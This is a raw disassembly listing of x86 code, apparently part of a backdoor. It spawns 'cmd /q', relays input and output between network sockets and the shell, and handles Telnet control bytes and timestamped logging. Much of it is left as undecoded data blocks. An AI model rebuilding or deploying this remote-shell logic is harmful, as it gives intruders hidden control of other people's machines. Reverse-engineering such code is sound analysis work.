var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2700000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2650BFCh
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEB8[eax], ecx
		nop
		call	near ptr 265092Ah
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------


loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_434474
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C


loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032


loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------


loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344B4
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAF8C
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------


loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		nop
		call	near ptr 27703C3h
		jmp	short loc_41117C
; ---------------------------------------------------------------------------


loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx


loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_4111C8


loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h
		dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	9C15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEB4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h,	25F330E8h
		dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 225F267h,	90EDEB90h
		dd 26ECABE8h, 858D5002h, 0FFFFFD2Ch, 43452468h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0BCB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0ADE89053h, 53022BEBh, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAF8Ch, 187FC085h
		dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 7DE85359h
		dd 90022BEBh, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 2BEAE7E8h, 106A9002h, 53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh,	50004CAFh
		dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFC415FFh
		dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 0EA4EE890h, 458D022Bh, 50106AE8h, 1C15FF57h,	83004CAFh
		dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h,	4CB00C15h
		dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h
		dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 0E982E890h, 36FF022Bh, 0B00C15FFh, 75FF004Ch
		dd 9D84E808h, 5359FFFFh, 2BE96BE8h
		db 2, 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4


loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE60
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791


loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE60
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC


loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 0EDC9E800h
		dd 39900225h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Bh
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 5415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	5415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFA015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 0ED01E890h, 8DFF0225h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 0E8000001h, 225ECCFh, 858D5390h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 2BE6DBE8h, 7D8B9002h,	0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh
		dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF4C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB00C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022BE4h
		dd 3E8h, 0E9ADE890h, 0E8570225h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 27704B0h
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp-114h]
		push	offset asc_434E54 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------


loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E24
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h


loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax


loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 0BB004Ch, 6A000002h,	5CE89008h, 0FF0225E8h, 4CAEF815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434E84h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h
		dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h
		dd 2BE02BE8h
		db 2
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h,	4589026Ah
		dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh
		dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h,	234C0h
		dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch
		dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 0C15FF57h, 0FF004CB0h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
		dd 56022BDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CAF2015h, 0FFF88300h, 15FF6475h, 4CAF08h, 4C858D50h
